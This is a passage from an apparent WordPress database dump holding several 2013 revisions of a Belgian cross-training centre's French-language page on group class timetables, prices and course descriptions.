5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:29:16', '2013-07-03 16:29:16', '', 11, 'http://www.crosstrainingcenter.be/?p=166', 0, 'revision', '', 0),
(162, 1, '2013-07-03 16:17:49', '2013-07-03 16:17:49', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi[attr class=\&quot;ttitre\&quot;],Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:17:49', '2013-07-03 16:17:49', '', 11, 'http://www.crosstrainingcenter.be/?p=162', 0, 'revision', '', 0),
(171, 1, '2013-07-03 16:34:43', '2013-07-03 16:34:43', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les 